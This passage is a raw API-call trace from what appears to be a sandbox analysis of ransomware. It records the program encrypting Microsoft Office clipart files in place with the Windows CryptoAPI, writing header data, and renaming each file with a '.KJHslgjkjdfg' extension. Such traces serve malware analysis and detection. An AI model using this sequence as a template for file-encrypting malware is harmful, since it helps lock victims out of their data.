SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.062] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x22a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x22a0, lpOverlapped=0x0) returned 1 [0173.062] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.062] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.062] SetEndOfFile (hFile=0x114) returned 1 [0173.065] GetProcessHeap () returned 0x2a0000 [0173.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.065] GetProcessHeap () returned 0x2a0000 [0173.065] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.065] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.kjhslgjkjdfg")) returned 1 [0173.066] CloseHandle (hObject=0x114) returned 1 [0173.066] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0173.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.066] GetProcessHeap () returned 0x2a0000 [0173.066] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.066] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.067] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.067] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.069] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.069] GetProcessHeap () returned 0x2a0000 [0173.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.069] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.069] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.069] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.069] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.069] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.069] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.069] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.069] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.069] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.069] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1068, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1068, lpOverlapped=0x0) returned 1 [0173.070] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1070, dwBufLen=0x1070 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1070) returned 1 [0173.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.070] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1070, lpOverlapped=0x0) returned 1 [0173.070] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.070] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.070] SetEndOfFile (hFile=0x114) returned 1 [0173.073] GetProcessHeap () returned 0x2a0000 [0173.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.073] GetProcessHeap () returned 0x2a0000 [0173.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107500.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107500.wmf.kjhslgjkjdfg")) returned 1 [0173.074] CloseHandle (hObject=0x114) returned 1 [0173.074] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0173.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.075] GetProcessHeap () returned 0x2a0000 [0173.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.075] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.075] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.075] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.077] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.077] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.077] GetProcessHeap () returned 0x2a0000 [0173.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.077] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.077] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.077] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.077] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.077] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.077] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.077] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.077] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.078] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.078] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.078] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2a54, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2a54, lpOverlapped=0x0) returned 1 [0173.079] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a60, dwBufLen=0x2a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2a60) returned 1 [0173.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.079] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2a60, lpOverlapped=0x0) returned 1 [0173.079] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.079] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.079] SetEndOfFile (hFile=0x114) returned 1 [0173.081] GetProcessHeap () returned 0x2a0000 [0173.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.081] GetProcessHeap () returned 0x2a0000 [0173.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.081] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.kjhslgjkjdfg")) returned 1 [0173.082] CloseHandle (hObject=0x114) returned 1 [0173.082] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0173.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.083] GetProcessHeap () returned 0x2a0000 [0173.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.083] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.083] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.083] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.085] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.085] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.085] GetProcessHeap () returned 0x2a0000 [0173.085] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.085] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.085] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.085] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.085] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.086] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.086] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.086] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.086] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.086] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.086] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2c8c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2c8c, lpOverlapped=0x0) returned 1 [0173.087] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c90, dwBufLen=0x2c90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c90) returned 1 [0173.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.087] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2c90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2c90, lpOverlapped=0x0) returned 1 [0173.087] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.087] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2d64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.087] SetEndOfFile (hFile=0x114) returned 1 [0173.089] GetProcessHeap () returned 0x2a0000 [0173.089] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.090] GetProcessHeap () returned 0x2a0000 [0173.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107512.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107512.wmf.kjhslgjkjdfg")) returned 1 [0173.091] CloseHandle (hObject=0x114) returned 1 [0173.091] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1 [0173.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.092] GetProcessHeap () returned 0x2a0000 [0173.092] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.092] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.092] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.095] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.095] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.095] GetProcessHeap () returned 0x2a0000 [0173.095] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.095] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.095] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.095] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.095] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.095] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.095] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.095] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.095] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.096] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.096] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.096] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2fac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2fac, lpOverlapped=0x0) returned 1 [0173.097] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2fb0, dwBufLen=0x2fb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2fb0) returned 1 [0173.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.097] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2fb0, lpOverlapped=0x0) returned 1 [0173.097] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.097] SetEndOfFile (hFile=0x114) returned 1 [0173.105] GetProcessHeap () returned 0x2a0000 [0173.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.105] GetProcessHeap () returned 0x2a0000 [0173.105] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107514.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107514.wmf.kjhslgjkjdfg")) returned 1 [0173.106] CloseHandle (hObject=0x114) returned 1 [0173.106] FindNextFileW (in: 